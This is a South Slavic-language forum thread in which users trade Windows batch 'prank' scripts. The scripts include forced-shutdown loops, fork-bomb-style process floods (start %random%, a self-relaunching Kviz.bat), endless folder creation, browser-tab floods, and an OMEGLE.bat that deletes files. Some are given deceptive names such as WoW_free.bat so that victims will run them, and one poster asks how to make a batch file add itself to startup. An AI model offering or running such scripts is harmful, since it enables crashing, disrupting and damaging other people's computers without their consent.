Vaši prankovi (šale) i hackovi

xZero sto pitas koga on naziva klincem pa sam je rekao ti XD nema potrebe provjeravati.

Nego sta radi ovo

otvori note pad i upisi ovo unutra

@Echo off

Echo CRKNIIIIIII

:lol

shutdown -s -f -t -c CRKNIIIIIIII

START

goto lol

sad save as/upisi za ime WoW_free.bat i u files all files

Ovo je takozvani moj RICKY ROLLED PRANK

Gamer master... ovo nije prvi put da postaš par postova za redom... pa daj koristi gumb Uredi... 

Ajd mozda nije tolko opasan ali da niko ne pritisne taj link.

i GOTO command je slicna kao loop samo sto ova ode na oznaceno mjesto

GamerMaster2041 kaže...

evo mali prank prank

 

@Echo off

start

shutdown -s -f -t 100 -c You are an idiot hahahahahaha

:Checkpoint

md 1

md 2

md 3

md 4

md 5

md 6

md 7

md 8

md 9

md 10

md 11

md 12

md 13

md 14

md 15

md 16

md 17

start 2

start 1

start 3

start 4

start 5

start 6

start 7

start 8

start 9

start 10

start 11

start 12

start 13

start 14

start 15

start 16

start 17

goto Checkpoint

zar nije bilo lakse napraviti :

@echo off

:mapa

md %random%

goto mapa

  mozes napraviti sa brojacem.

znaci imas recimo a, broj koliko puta ce se ponoviti, i brojac b

nisam siguran kako to ide u visual basicu, ali u q basicu to ide

dim as string a,b

input "kolko puta";a

for b=1 to a

    print "bok"

    getkey

next b   'moze i bez toga

http://www.megaupload.com/?d=RDCM3YK5

zeznuti kalkulator

Prvo sto uradi je da se pretvara da je kalkulator i trazi od vas da mu date da nesto izracuna.

Nakon toga slijedi pauza i govori vam da ga restartujete tako sto ce tw pritisnuti bilo sta.

Onda dobijate shutdown windows i mnogo fajlova se pojavljuje na vasem ekranu u sledecih 100 sekundi jer je timer podesen na 100.

Uzivajte sa spam kalkulatorom 1.0 v

Site bomb

@ECHO OFF

Echo BOOOOOOOOOOOOOOM

:start

start

start http://www.google.ba/search?hl=bs&client=firefox-a&hs=xEp&rls=org.mozilla%3Aen-US%3Aofficial&q=goggle.com&btnG=Tra%C5%BEi&meta=

start http://www.mywot.com/en/scorecard/www.example.com

start http://www.minecraft.net/servers.jsp

start http://www.bug.hr/forum/contributedtopics/?sort=act

start http://www.giftmonkey.com/

start http://www.explosm.net/db/files/Comics/Kris/speedo.png

goto start

PS jedan sajt ima virus. VRIJEME JE ZA SITE BOMB

evo jos jedan prank nabrzaka.

i treba ovo snimiti kao Kviz.bat

@Echo off

echo hi and welcome to spam prank

:prank

start Kviz.bat

start %Random%

goto prank

ima da mu crkne komp XD

i jos jedan

@Echo off

echo loading

cls

echo Loading

cls

Echo LOading

cls

Echo LOAding

cls

Echo LOADing

cls

Echo LOADIng

cls

Echo LOADINg

cls

Echo LOADING

cls

LOADED

:kill

md %random%

start %random%

taskkill %random

goto kill

SPAAAAAAAM

Top Bugovac kaže...

hacker-goran kaže...

GamerMaster2041 kaže...

evo mali prank prank

 

@Echo off

start

shutdown -s -f -t 100 -c You are an idiot hahahahahaha

:Checkpoint

md 1

md 2

zar nije bilo lakse napraviti :

 

@echo off

:mapa

md %random%

goto mapa

 

Nebi bilo lakše, zato što bi program onda bio programiran da napravi papu pod nepoznatim imenom... npr napravi mapu 27940

ahahahahaha ja umirem,hahahahahahaha xDDD

Hvala ovo bas puno objasnjava

Nije pitao to nego nesto drugo

zakon :)

Pop-upovi po cijelom ekranu, cd rom se stalno otvara, zatvara, ne može se zaustaviti, garantirano živcira

Evo našao napokon:
cd %windir%
nircmd.exe cdrom open j:
nircmd.exe cdrom close y:
nircmd.exe changesysvolume 2000
nircmd.exe changesysvolume -5000
nircmd.exe setsysvolume 65535
nircmd.exe mutesysvolume 1
nircmd.exe mutesysvolume 0
nircmd.exe mutesysvolume 2
nircmd.exe cmdshortcut "~$folder.desktop$" "Switch Volume" mutesysvolume 2 
nircmd.exe monitor off 
nircmd.exe screensaver 
nircmd.exe standby 
nircmd.exe exitwin logoff 
nircmd.exe qboxcom "Do you want to reboot ?" "question" exitwin reboot 
nircmd.exe exitwin poweroff
multiremote copy "c:\temp\computers.txt" exitwin poweroff force  
nircmd.exe rasdial "My Internet" 
nircmd.exe rashangup "My Internet" 
nircmd.exe win trans ititle "internet explorer" 192 
nircmd.exe win min class "IEFrame" 
nircmd.exe win close class "IEFrame" 
nircmd.exe win close class "CabinetWClass" 
nircmd.exe win hide class "IEFrame" 
nircmd.exe win show class "IEFrame" 
nircmd.exe win center alltop 
nircmd.exe win -style title "my computer" 0x00C00000 
nircmd.exe win +style title "my computer" 0x00C00000 
nircmd win +exstyle title "my computer" 0x00400000 
nircmd win child title "my computer" +exstyle all 0x00400000 
nircmd.exe cmdshortcut " "~$folder.desktop$ "Close All IE" win close class "IEFrame" 
nircmd.exe cmdshortcut " "~$folder.desktop$ "Hide All IE" win hide class "IEFrame" 
nircmd.exe cmdshortcut " "~$folder.desktop$ "Show All IE" win show class "IEFrame" 
nircmd.exe win settopmost title "Calculator" 1 
nircmd.exe win settopmost title "Calculator" 0 
nircmd.exe shortcut "f:\winnt\system32\calc.exe" "~$folder.programs$\Calculators" "Windows Calculator" 
nircmd.exe win hide class progman 
nircmd.exe win show class progman 
nircmd.exe win child class "Shell_TrayWnd" hide class "button" 
nircmd.exe win child class "Shell_TrayWnd" show class "button" 
nircmd.exe win child class "Shell_TrayWnd" hide class "TrayClockWClass" 
nircmd.exe win child class "Shell_TrayWnd" show class "TrayClockWClass" 
nircmd.exe killprocess iexplore.exe 
nircmd.exe cmdshortcut "~$folder.desktop$" "Open CDROM" cdrom open k: 
nircmd.exe urlshortcut "http://www.nirsoft.net" "~$folder.desktop$" "NirSoft" 
nircmd.exe urlshortcut "http://www.nirsoft.net" "~$folder.favorites$\Links" "NirSoft" 
nircmd.exe multiremote copy "c:\temp\computers.txt" urlshortcut "http://www.nirsoft.net" "~$folder.common_desktop$" "NirSoft" 
nircmd.exe setdisplay 800 600 24 
nircmd.exe cmdshortcut "~$folder.desktop$" "800x600x24" setdisplay 800 600 24 
nircmd.exe execmd copy "~$folder.desktop$\*.lnk" f:\temp\desktop 
nircmd.exe service restart apache 
nircmd.exe cmdshortcut "~$folder.desktop$" "Restart Apache" service restart apache 
nircmd.exe service restart w3svc 
nircmd.exe service restart MySql 
nircmd.exe regedit "HKLM\Software\Microsoft\Windows\CurrentVersion" "CommonFilesDir" 
nircmd regedit "~$clipboard$" 
nircmd.exe regsetval sz "HKCU\control panel\desktop" "ScreenSaveActive" 0 
nircmd.exe regsetval sz "HKCU\control panel\desktop" "ScreenSaveActive" 1 
nircmd.exe setfiletime "c:\temp\myfile.txt" "24-06-2003 17:57:11" "22-11-2005 10:21:56" 
nircmd.exe clipboard set ~$folder.desktop$ 
nircmd.exe clipboard set ~$folder.start_menu$ 
nircmd.exe clipboard readfile "c:\My Files\info1.txt" 
nircmd.exe clipboard addfile "c:\My Files\info1.txt" 
nircmd.exe clipboard clear 
nircmd.exe paramsfile "c:\temp\folders.txt" "" "" execmd md ~$fparam.1$ 
nircmd.exe gac install "C:\temp\MyAssembly\bin\MyAssembly.dll" 
nircmd.exe emptybin 
nircmd.exe dlg "" "" click yes 
nircmd.exe cmdwait 2000 savescreenshot "f:\temp\shot.png" 

Evo našao sam skriptu (pogledaj gore)..

E ljudi kak složiti da batch nađe sam sebe...tj. da nađe path do sebe...

Znači kad ga ja pokrenem on se nadje di je i to posta u dio koda za stavljanje u start up...

PLizz kako to ....

Jos jednom ja pokrenem jedan file na desktopu i on zapiše u varijablu C:\Users\Administrator\Desktop.

Samo mi to treba...

Ljudi gdje sam ja? XD

Evo malo sale

OMEGLE.bat

@ECHO OFF

start http://omegle.com/

ECHO Stranger:Hi

ECHO You:Hi

ECHO Stranger:ASL

ECHO You: 6 male space

ECHO Stranger: LOL

ECHO You: ???

ECHO Stranger: LOL LOOSER KID

ECHO You:STFU

ECHO Stranger loooooooooooooooooser loser loser loser

:lol

SET/a loadnum=%loadnum% +1
IF '%loadnum%'=='200' GOTO TheRoflingStones

md %random%

start %random%

del %random%

erase %random%

goto lol

:TheRoflingStones

ECHO Stranger:its not hard to trick kid like you XD

exit